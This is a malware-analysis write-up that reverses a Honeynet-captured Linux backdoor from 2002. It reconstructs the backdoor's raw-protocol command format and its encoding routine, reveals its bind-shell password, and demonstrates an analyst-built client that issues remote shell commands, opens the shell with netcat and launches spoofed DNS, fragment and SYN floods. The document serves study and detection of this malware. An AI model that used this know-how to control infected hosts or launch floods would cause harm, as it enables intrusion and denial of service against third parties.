Analysis

 

 

Introduction

Sometime in 2002, a Honeynet system was compromised: a binary was downloaded, installed, and ran on this compromised host.

Before really starting to carefully disassemble and analyze this binary, it is always interesting to try to gather as much information as possible using classical command line utilities.
First, we had a look at the general format of this file. Using the file command, we obtained the following information:

the-binary: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

It now appears clearly that this file would not provide us debugging information, because of its stripped format.
Using the strings command (with the -a flag, to be sure to not miss something), we can also observe a lot of interesting strings. Among those, we noticed more particularly:

/tmp/.hj237349 The tool will probably work with some temporary files...
/bin/csh -f -c "%s" 1> %s 2>&1 Classical shell invocation, to run a command and capture its output to a text file.
/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.
PATH
Those strings seem to be used to set a valid path.

/bin/sh
/bin/csh -f -c "%s"

Some others shell invocations: this consolidates our assumption that this is a backdoor...
%d.%d.%d.%d
%u.%u.%u.%u
It really looks like strings to format IP addresses.
@(#) The Linux C library 5.3.12 Really interesting: the tool was thus statically linked with this precise version of the C library, and we know at this time it is destined to a Linux compatible system. We will use those significant information later, to facilitate the disassembly process.
*nazgul* Strange string... Perhaps a kind of nickname ? ;)
GCC: (GNU) 2.7.2.l.2 Obviously, this is the compiler version which is used to build this tool.

Moreover, we find a lot of others strings probably related to the C library (error messages, name resolution messages, RPC messages, service names, month strings, ...). The full result of the command is in the strings.txt file.

 

 

A first execution

We now run this binary in a confined environment, and log executed system calls (simply using strace):

execve("./the-binary", ["./the-binary"], [/* 20 vars */]) = 0
personality(PER_LINUX) = 0
geteuid() = 1000
(1)
_exit(-1) = ?
(2)

We observe a getuid() call (1), followed by an exit() call (2)... Perhaps does the backdoor want to be launched as root ? We run it again, this time being authenticated as root:

...
geteuid() = 0
sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40076868) = 0
fork() = 210
(3)
_exit(0)

This time, the backdoor continues, and fork() a child process (3). We run strace with the -f flag, to trace child processes:

...
fork() = 216
[pid 215] _exit(0) = ?
[pid 216] setsid() = 216
(4)
[pid 216] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
[pid 216] fork() = 217
(5)
[pid 216] _exit(0) = ?
[pid 217] chdir("/") = 0
(6)
[pid 217] close(0) = 0
(7)
[pid 217] close(1) = 0
(7)
[pid 217] close(2) = 0
(7)
[pid 217] time(NULL) = 1022546796
[pid 217] socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0
(8)
[pid 217] sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40076868) = 0
[pid 217] sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40076868) = 0
[pid 217] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
[pid 217] sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0
[pid 217] recv(0, <unfinished ...>
(9)

We now trace the child process, which itself fork() another child process (5). This child process set the current directory to the root of the filesystem (6), and close all standard I/O handles (7). Such operations furiously resemble to the ones used in classical Unix daemons... Finally, a raw socket is created, associated with an unknown protocol (8), and the process begin to wait for data to receive from the network (9).
What is this strange protocol, numbered as 0xB ? By looking on the Web, we can't find any relevant information: so, we can logically suppose that this protocol will be used to exchange data between the backdoor and a specific client.

Before really beginning to disassemble the binary, we have a look at the processes actually present in memory, by using the ps utility:

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 1.1 0.7 1020 464 ? S 03:37 0:12 init [2]
(3)
root 2 0.0 0.0 0 0 ? SW 03:37 0:00 [kflushd]
(3)
root 3 0.0 0.0 0 0 ? SW 03:37 0:00 [kupdate]
(3)
root 4 0.0 0.0 0 0 ? SW 03:37 0:00 [kpiod]
(3)
root 5 0.0 0.0 0 0 ? SW 03:37 0:00 [kswapd]
(3)
...

root 161 0.0 0.7 1004 456 tty5 S 03:38 0:00 /sbin/getty 38400 tty5
root 162 0.0 0.7 1004 456 tty6 S 03:38 0:00 /sbin/getty 38400 tty6
root 217 0.0 0.0 240 44 ? S 03:54 0:00 [mingetty]
(2)
root 219 0.0 1.8 2748 1128 tty2 R 03:54 0:00 ps aux
(1)

Just on the line preceding our ps process (1), we notice a [mingetty] process (2), with the same PID (217) as the last child process traced by strace. This strange name is apparently used to imitate the name of a kernel system process(3). Using such a name will probably discourage a normal user to kill this "critical" process.

 

Basic disassembly: general structure of the backdoor

Now, we can't continue to analyze the backdoor without understanding in a more detailed way the execution of the program. We thus will use IDA Pro to disassemble the binary.

Before starting to analyze, it would be interesting to directly be able to determine which functions are part of the C library (as we suppose this one is statically linked in the binary), and which ones are from the backdoor itself. IDA can help us a lot for that: it automatically detects Linux system calls (through int 80h instructions):

But IDA also offers us FLIRT (Fast Library Identification and Recognition Technology), for easily identifying library functions. To use this technology, we simply need a 5.3.12 binary version of the C Library (as mentioned in the output of the strings command). We can then use a2pat (itself using 2pelf, thanks to David Eriksson) to build a signature file from the downloaded libc.a file:

./a2pat libc

IDA can also apply and propagate type information relative to C standard functions: for that, it simply needs function names beginning with a "_" character. Unfortunately, libc.a does not seem to respect this convention: so, we quickly write a small script (std2pat), to convert 2pelf's output to an output more suitable for IDA. We can then use some IDA utilities (sigmake and zipsig) to build and zip a nice signature file:

./stdpat libc.pat
./stdpat libc.pat

sigmake -n"Linux libc5.3.12" libc.pat libc.sig
zipsig libc.pat

Finally, we apply the obtained signatures and the corresponding type library to our binary. We now easily locate the main function of the program, and in this one, some operations already met:

For example, we observe some function calls we meet before using strace, some calls to C library functions (proof that they are correctly recognized), and the famous socket() call, with its interesting arguments (0Bh protocol, and SOCK_RAW type).

By looking at IDA's navigation bar, we can quickly notice that the code that we will have to analyze (blue on the screenshot) represents at most 10% of the total size of the program: the remainder is mainly composed of code from the C library or unexplored bytes (probably data bytes).

For example, the first function from the C library is the _setenv() function, at address 0804A2A8. If we select all addresses from the function we identified as main (address 08048134) to the function preceding the _setenv() function (first function of the C library in our binary), and generate a graph of cross-references, we obtain something like:

We can deduce that the code from the backdoor itself seems to be rather small: about 10 functions (sub_??? , selected with a blue color on the screenshot). We can also observe a lot of interesting function calls: for example, we see calls to _listen(), _send(), _recv(), _bind(), _sendto(),...

 

 

Analysis of the protocol

Now, we look attentively at the instructions executed after the send() call that we observed using strace. By creating a structure representing an IP header, analyzing pointer initialisations, and observing arrows, we can deduct the manipulations that are realized once an IP packet is received from the socket:

Firstly, the call to _recv() is encapsulated in a big infinite loop.
Secondly, once a packet is received, the program checks some values and execute some operations:

From all those conditions, we can represent a characteristic packet addressed to our backdoor:

IP header
(20 bytes)
IP payload
(minimum 181 bytes)
Unencrypted data
(2 bytes)

Encrypted data
(minimum 179 bytes)

Signature
(1 byte)
Unused
(1 byte)
Unused
(1 byte)
Command
(1byte)
Arguments

 

Now, as we have a good idea of the protocol, we try to build a valid packet for the backdoor. Firstly, we start gdb:

test:~# gdb
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
(gdb) attach 217
(1)
Attaching to Pid 217
0x8056b74 in ?? ()
(4)
(gdb) break *0x0804831F
(2)
Breakpoint 1 at 0x804831f
(gdb) cont
(3)
Continuing.

We attach it to the backdoor process (1), put a breakpoint on the address before the last jump (2), and let the process continues (3). By browsing with IDA, we can remark that the address where we stopped the process during the attach command (4) is an address in the _recv() function from the C library: more precisely, this is the address of the instruction following the send() system call.

Secondly, we build a valid payload for our packet (the first byte must be a 02h value, remember the signature on the previous screenshot), using the echo command, and send it to the backdoor by using hping:

echo -n -e "\02aaa" > payload.bin
hping2 --count 1 --rawip -H 11 -d 181 --file payload.bin 192.168.10.3

Finally, we watch gdb's output:

Breakpoint 1, 0x804831f in ?? ()
(gdb) x/2i 0x804831f
0x804831f: ja 0x8048eb8
0x8048325: jmp *0x804832c(,%eax,4)

Our breakpoint occurs perfectly, so the packet we sent was correct.

 

 

The decryption mechanism

Now that we have determined the packet format, the next problem we are confronted to is to understand the decryption function used by the program. We located it successfully, but we need to precisely understand its logic, to write our own encoder. Here, we don't have any choice: we have to analyze the function in details, instruction by instruction, and try to understand the logic behind the encoding algorithm used. This is why we will try to first convert assembly instructions to C code, then, to understand the logic of this C code. We will therefore be able to write the outline of a small encoder.

First, we have a look at the start of the function:

Notice we know the exact role of each argument, so we can directly assign a precise prototype to our function.
The start of the function is relatively simple: the function allocates a temporary buffer on the stack (using something like calloc()), initializes the destination, and exits if we don't have any bytes to decode.

Next to those initializations, we observe the beginning of a big loop. This loop will traverse all bytes of our buffer, from the last one to the first one. For each one of theses bytes, we compute a substraction between this one and the byte which precedes it. Logically, we can't realize this substraction for the first byte of the buffer, so we simply take it just as it is. Finally, we slightly modify the substraction result (by substracting a constant (23)).

Next to the computation of this substraction, we adjust the substraction result to get an unsigned integer.

We then copy the current destination string to the previously allocated temporary buffer (probably to backup it).

At this point, we modify the first byte of the destination string: it will then contain the substraction result. Behind this byte, we append the saved string. Finally, we observe a strange manipulation: a call to sprintf(), which executes again the operation we just described, except that sprintf() will stop on a null byte, and will use a formatted string. This second invocation (carrying out 2 times consecutively the same manipulation) is really mysterious...

To summarize, we have the following formula for the encoding algorithm: BYTE[ i] = BYTE[ i ] + BYTE[ i - 1 ] + CONSTANT(23);
Using this formula, we can write a small encoding function:

#define BACKDOOR_ENCRYPT_CONST 23

void backdoor_encrypt(char *destination, const char *source, int size) {
int i;

for (i = 0; i < size; i++) {
if (i == 0)
destination[0] = source[0] + BACKDOOR_ENCRYPT_CONST;
else
destination[i] = source[i] + destination[i-1] + BACKDOOR_ENCRYPT_CONST;
}
}

By using gdb, hping, and cryptest (our tool which is using our encoding function), we can build a perfectly valid paquet, and send it to the backdoor. We simply set some breakpoints in gdb: the first one will permit us to get the address of the temporary buffer, while the second one will display the decrypted packet:

(gdb) break *0x8048300
Breakpoint 1 at 0x8048300
(gdb) break *0x8048311
Breakpoint 2 at 0x8048311
(gdb) cont
Continuing.

We can thus easily send an encoded packet:

echo -n -e "?\01my arguments" | ./cryptest > encrypted.bin
echo -n -e "\02?" > packet.bin
cat encrypted.bin >> packet.bin
hping2 --count 1 --rawip -H 11 -d 181 --file packet.bin 192.168.10.3

Once the packet is sent, we look at gdb's output:

Breakpoint 1, 0x8048300 in ?? ()
(gdb) info reg edx
edx 0xbfffedc4 -1073746492
(1)
(gdb) cont
Continuing.

Breakpoint 2, 0x8048311 in ?? ()
(gdb) x/s 0xbfffedc4
0xbfffedc4: "?\001my arguments\213", 'é' <repeats 164 times>
(2)
(gdb) display/1i $pc
(3)
1: x/i $eip 0x8048311: add $0xc,%esp
(gdb) stepi
0x8048314 in ?? ()
1: x/i $eip 0x8048314: movzbl 0xfffff001(%ebp),%eax
(gdb) stepi
0x804831b in ?? ()
(gdb) info reg eax
eax 0x1 1
(4)
1: x/i $eip 0x804831b: dec %eax
(gdb) stepi
0x804831c in ?? ()
1: x/i $eip 0x804831c: cmp $0xb,%eax
(gdb) info reg eax
eax 0x0 0
(5)
(gdb) stepi
0x804831f in ?? ()
1: x/i $eip 0x804831f: ja 0x8048eb8
(gdb) stepi
0x8048325 in ?? ()
1: x/i $eip 0x8048325: jmp *0x804832c(,%eax,4)
(6)
(gdb) stepi
0x804835c in ?? ()
1: x/i $eip 0x804835c: mov 0x80675e5,%al
(7)

Firstly, we note the address of the temporary destination buffer (1). We continue the execution: the second breakpoint occurs after the call to the decryption function. We can now display the content of the destination buffer, to see if data were decrypted correctly (2): it seems to be perfect. We add a watchpoint (3), to print the next instruction at each stop (it will help us for the next operations). Now we can go step by step, observe that the program extracts our command number (4), decrements it by one (5), and finally uses it to jump (6) to the related code (7).

 

 

The backdoor functionalities

Now that we know the general mechanism to communicate with the backdoor, it will be obviously interesting to go one step further: we need to understand the main functionalities offered by the backdoor. We will briefly present an extract of representative code for some commands. For a more detailed analysis of each command, have a look at the full disassembly listing, or browse the the-binary.idb file (IDA database).

As we will see it with other commands, a child process is started to execute a specific task. This command simply returns information about a possible task already running to the client. It simply puts the necessary information in a structure (among which a boolean flag, highlighted on the screenshot), and send this one back to the client:

The backdoor uses an interesting mechanism to return information to the client.
Three modes are available:

  1. Answering to a user-defined IP address.
  2. Answering to a given IP address and a set of randomly choosed IP addresses.
  3. Answering to a list of user-defined IP addresses.

By using those different modes, the user can configure fake IP addresses (decoys), to make difficult the location of the real client in a set of innocent IP addresses. The decoys are stored in a global array, to ensure that the same decoys will be used for each sent packet: else, by sending two packets, we could easily deduce which IP address is the good one among the decoys. Notice that that client itself can send packets with a spoofed source address: the reception mechanism we analyzed before doesn't look at the source address of the received packets.
Using both technics, a user can send a command packet with the address of a decoy, and receive answers to its real IP address, which will then look like a decoy for someone analyzing this suspicious network traffic.
For example, the user can also send commands using a spoofed source, and receive answers on another compromised host (like for a kind of "distributed client").
An another idea could be to specify unused IPs on a LAN, and, with the help of ARP spoofing, receive the answers to his client.
As we see it, combinations are really endless.

 

Using this command, the user can execute a classical shell command on the target host, and get the output on his screen. Here, we distinctly observe how the program formats a string (referencing csh and some I/O redirection operators), and executes the resulting command through a call to system():

 

This command is quite interesting. It starts a continuous stream of DNS requests (using UDP protocol), with a target host as source IP address, and with a existing DNS server as destination IP address. The DNS server will answer to our target by sending packets with a relatively significant size. This particular DNS request is hard-coded in the binary:

Also, the binary contains a big list of existing DNS servers. With the help of a small shell script (resolve), we converted and resolved all those IPs (see ips.txt). Perhaps will you find some of your provider's DNS servers among those? ;)
Also notice that the function called by this command (number 3), to generate the spoofed DNS requests, is also called by another command
(number 8): as we'll see it again later, some DDoS attacks are available in two distinct modes: an infinite mode, and a limited one (by passing a counter argument to the function). Finally, the backdoor offers a mechanism to give destination addresses by two different ways: an IP address, or a hostname, which will be resolved by the backdoor itself (this permits the client to be as discrete as possible).
To resume, this command (and some others we'll meet later) allows the user to easily start DDoS attacks if he controls a set of compromised hosts.

 

This command starts a flood of fragmented UDP or ICMP ECHO datagrams against a target host. If we create a structure in IDA representing the format of an ICMP datagram, we can easily observe the construction of an ICMP ECHO message (type 8):

Also, we can observe that a constant value is used to fill in the fragmentation field of the fragmented packets: 0FE1Fh, = 1FFEh in network byte order, = 8190d, = 65520/8 (we divide by 8, because the data portion of a generated fragment must be a multiple of 8 bytes).

 

This command simply bind a shell on a specified port (more precisely, TCP port 23281). It also asks a password before giving access to the shell itself. Even if the password is hard-coded in the binary, it is rougly ciphered because each character is incremented by 1. The exact password is thus "SeNiF". On the screenshot, we can clearly observe the code to manage the connection: It binds a socket, listens to the port, accepts connections, forks a child process for the connection, and finally receives data:

 

This command is almost the same as the command number 2, except that this one doesn't return output to the user.

 

This command kills an active task. For example, the user can start a DDoS attack, and stop it using this command. The screenshot is rather self explanatory:

 

This command starts another type of DDoS, by sending TCP SYN segments to a specific port on a target host.

 

This command offers the last DDoS possibility: a flood of DNS answers to a target host.

 

To finish, we have a look at a diagram representing all functions of the backdoor, renamed in a more relevant way:

We observe an f_encrypt() function: this one is used to encrypt answer packets (sent to the client). If you look at it, it corresponds perfectly to the code of the C function we wrote to generate our encrypted packets.
The f_send_backdoor_reply_with_decoys() function permits to send answer packets to the client, possibly by using decoys. This function itself call the f_send_backdoor_reply() function to really send the packet by using a raw socket.
Also remark that the function f_ip_checksum() seems to be unused. This function simply computes IP checksums, but others functions contains similar code to compute checksums, so this one isn't referenced. Perhaps the backdoor's author forgot to remove it from the source before compiling the backdoor... or perhaps is it simply the result of a stupid cut-and-paste ? ;)

 

 

The backdoor sniffer / client / scanner

Now that we know the majority of the backdoor functionalities, it could be interesting to write a tool with the following possibilities:

Those various possibilities are proposed in the client program. This one is composed of 4 parts:

Here is a screenshot of the help screen:

./client -?
USAGE: ./client ? | -? : this help screen
USAGE: ./client [options] : sniffing mode
USAGE: ./client <class C> : scanning mode

USAGE: ./client [options] <ip_source> <ip_destination> <command [arguments] ...>

OPTIONS:
-c[=n] : capture <n> packets (default: [n] = infinite)
-d : dump captured packets (default: decode)
-i <interface name> : bind to specified Ethernet interface (default: eth0)

COMMANDS:
<command number (<=11)> <argument string>
INITIALISATION: (default [ip] or [@]: <ip_source>)
init [ip] : initialize IP
init_decoys_random [ip] : initialize IP and random decoys
init_decoys [decoy1] [@]... [decoy10] : initialize IP and user defined decoys
TASKS: (task = bind | DDOS)
info : output informations on the current task
kill : kill the current task
SHELL:
shell <command string> : run <command string> with output
shell_null <command string> : run <command string> without ouput
bind : bind a shell on TCP port 23281 (pass = SeNiF)
DDOS: ([@] = resolve <ip> locally (default: remotely),
default [port]: random, default [n]: infinite)
dns_answers <[@]ip>[:port] [n] : send [n] DNS answers to target
dns [from_ip][:port] <[@]to_ip> <n> : send <n> DNS packets to port 53
udp <from_ip> <[@]to_ip:port> : send UDP datagrams
icmp <from_ip> <[@]to_ip> : send ICMP ECHO datagrams
tcp [from_ip] <[@]to_ip:port> [n] : send [n] TCP SYN segments

If you simply run the client without any arguments, it starts in sniffing mode.
If you want to send raw commands, you must use the general syntax: <command number> <argument string>. If you want to send a command and let the client formats the arguments for you, you simply use the syntax related to this particular command (it is particularly interesting for complex commands, which require formatted arguments in a quite precise way).

For example, we begin to initialize our IP for the backdoor, without decoys, and then run a shell command without output:

./client 10.11.12.4 10.11.12.3 init
./client 10.11.12.4 10.11.12.3 6 "touch /blabla"

We can directly check the existence of the "/blabla" file on the machine who is running the backdoor.
Now, we start a shell command with output.

For example, if we want to run a shell command and capture the output, we simply run:

./client -c -d 10.11.12.4 10.11.12.3 2 "ls"
SERVER -> CLIENT: 10.11.12.3 -> 10.11.12.4 (size:498) shell output:
6C 03 62 69 6E 0A 62 6F 6F 74 0A 63 64 72 6F 6D l.bin.boot.cdrom
0A 64 65 76 0A 65 74 63 0A 66 6C 6F 70 70 79 0A .dev.etc.floppy.
68 6F 6D 65 0A 69 6E 69 74 72 64 0A 6C 69 62 0A home.initrd.lib.
6C 6F 73 74 2B 66 6F 75 6E 64 0A 6D 6E 74 0A 70 lost+found.mnt.p
72 6F 63 0A 72 6F 6F 74 0A 73 62 69 6E 0A 74 6D roc.root.sbin.tm
70 0A 75 73 72 0A 76 61 72 0A 76 6D 6C 69 6E 75 p.usr.var.vmlinu
7A 0A z.
SERVER -> CLIENT: 10.11.12.3 -> 10.11.12.4 (size:541) shell output:
6C 04 l.

We can also use the specific syntax, to obtain a more suitable printing of the results:

./client 10.11.12.4 10.11.12.3 shell "ls -l"
total 54
drwxr-xr-x 2 root root 2048 May 22 12:21 bin
drwxr-xr-x 2 root root 1024 Jan 27 10:12 boot
drwxr-xr-x 2 root root 1024 Jul 5 2000 cdrom
drwxr-xr-x 5 root root 20480 May 24 20:57 dev
drwxr-xr-x 38 root root 3072 May 24 20:57 etc
drwxr-xr-x 2 root root 1024 Jul 5 2000 floppy
drwxrwsr-x 3 root staff 1024 Jan 27 09:17 home
drwxr-xr-x 2 root root 1024 Jul 5 2000 initrd
drwxr-xr-x 4 root root 4096 May 22 04:49 lib
drwxr-xr-x 2 root root 12288 Jan 27 10:04 lost+found
drwxr-xr-x 2 root root 1024 May 27 2000 mnt
dr-xr-xr-x 29 root root 0 May 24 22:54 proc
drwxr-xr-x 3 root root 1024 May 22 18:28 root
drwxr-xr-x 2 root root 2048 May 22 04:48 sbin
drwxrwxrwt 2 root root 1024 May 24 23:19 tmp
drwxr-xr-x 14 root root 1024 Jan 27 09:22 usr
drwxr-xr-x 14 root root 1024 May 22 05:44 var
lrwxrwxrwx 1 root root 19 Jan 27 10:04 vmlinuz -> boot/vmlinuz-2.2.17

Now, we initialize the backdoor to use some decoys, and run another instance of the client to sniff the traffic destinated to those decoys:

./client 10.11.12.4 10.11.12.3 init_decoys 11.11.11.11 @ 12.12.12.12
./client 10.11.12.4 10.11.12.3 info

If we look at the sniffer output, we observe the sending of a command to the backdoor, and the capture of 3 answer packets:

./client
CLIENT -> SERVER: 10.11.12.4 -> 10.11.12.3 (size:179) info

SERVER -> CLIENT: 10.11.12.3 -> 11.11.11.11 (size:477) info: task = / (0)
SERVER -> CLIENT: 10.11.12.3 -> 10.11.12.4 (size:477) info: task = / (0)
SERVER -> CLIENT: 10.11.12.3 -> 12.12.12.12 (size:477) info: task = / (0)

We bind a shell:

./client 10.11.12.4 10.11.12.3 bind

And we connect to it, by using netcat (remember we must type the password):

./nc 10.11.12.3 23281
SeNiF
cd /
ls
bin
boot
cdrom
dev
etc
floppy
home
initrd
lib
lost+found
mnt
proc
root
sbin
tmp
usr
var
vmlinuz

Now, if we ask the backdoor for information about a running task, we get a correct result. We can kill it, and verify all that:

./client 10.11.12.4 10.11.12.3 info
info: task = shell_null (6)
./client 10.11.12.4 10.11.12.3 kill
./client 10.11.12.4 10.11.12.3 info
info: task = / (0)
telnet 10.11.12.3 23281
Trying 10.11.12.3...
telnet: Unable to connect to remote host: Connection refused

Finally, we start some DDoS, and sniff the packets sent by the backdoor (by using tcpdump).

DNS requests:
tcpdump: tcpdump -vvv src TARGET and udp dst port 53
client command: ./client ??? ??? dns_answers @TARGET:31337
tcpdump log:

12:45:28.018971 TARGET.31337 > ???.de.53: 2960+ SOA? com. (21) (ttl 216, id 17664)
12:45:28.039012 TARGET.31337 > ???.EDU.53: 8446+ SOA? com. (21) (ttl 242, id 38912)
12:45:28.048946 TARGET.31337 > ???.com.53: 32516+ SOA? com. (21) (ttl 189, id 1024)

Logically, we observe packets with a spoofed source address (the address of our target), which contains DNS SOA requests to DNS servers from the hard-coded list.


fragmented UDP datagrams:
tcpdump: tcpdump -s 38 -vvv -x udp and src SPOOF
client command: ./client ??? ??? udp SPOOF @TARGET:53
tcpdump log:

14:25:39.084709 SPOOF > TARGET: (frag 1109:9@65520)
4500 001d 0455 1ffe e311 1cf5 c0a8 0a99
c0a8 0a9e 00e2 0035
14:25:39.084882 SPOOF > TARGET: (frag 1109:9@65520)
4500 001d 0455 1ffe e311 1cf5 c0a8 0a99
c0a8 0a9e 00e2 0035

Notice the fragmentation offset, 65520, corresponding to the previously observed value. 0035 represents the port number (53), and 11h (17) represents the UDP protocol.

 

fragmented ICMP ECHO datagrams:
tcpdump: tcpdump -s 36 -vvv -x icmp and src SPOOF
client command: ./client ??? ??? icmp SPOOF @TARGET
tcpdump log:

14:30:22.690084 SPOOF > TARGET: (frag 1109:9@65520) (ttl 227)
4500 001d 0455 1ffe e301 1d05 c0a8 0a99
c0a8 0a9e 0800
14:30:22.690204 SPOOF > TARGET: (frag 1109:9@65520) (ttl 227)
4500 001d 0455 1ffe e301 1d05 c0a8 0a99
c0a8 0a9e 0800

We observe the ICMP protocol (1) in the protocol field, and the ICMP type corresponding to ECHO (value 08).

 

TCP SYN segments:
tcpdump: tcpdump -vvv tcp and src SPOOF
client command: ./client ??? ??? tcp SPOOF @TARGET:31337
tcpdump log:

13:46:43.523361 SPOOF.7264 > TARGET.31337: S 17620666:17620666(0) win 202 (ttl 225, id 1955)
13:46:43.533355 SPOOF.6253 > TARGET.31337: S 30742059:30742059(0) win 671 (ttl 184, id 2908)

Notice the S flag, indicating a SYN segment (used to establish a connection).

 

DNS answers:
tcpdump: tcpdump -vvv udp dst port 53
client command: ./client ??? ??? dns SPOOF @TARGET 1
tcpdump log:

12:57:07.524927 SPOOF.5731 > TARGET.53: 22058+ SOA? com. (21) (ttl 152, id 25344)
12:57:07.533779 SPOOF.3484 > TARGET.53: 28791+ SOA? net. (21) (ttl 212, id 8192)

The last available mode offered by the client permits the user to scan a class C domain, to find installed backdoors:

./client 10.11.12
10.11.12.1
10.11.12.2
10.11.12.3 BACKDOOR !!!
10.11.12.4
10.11.12.5
10.11.12.6
...

To scan a domain, the tool simply send to each IP address an "init" command, followed by an "info" command, and analyze the received answer.

 

Conclusion

A full reversing of the binary was performed. This reversing, combined to adequate network traffic captures, and some basic forensic analysis, learned to us the functionalities offered by the backdoor, and the protocol it used to exchange information. To control and prevent the use of this backdoor, a small tool was written, offering a lot of possibilities for the administrator.

 

 

References

TCP/IP Illustrated, Volume 1 : The Protocols - W. Richard Stevens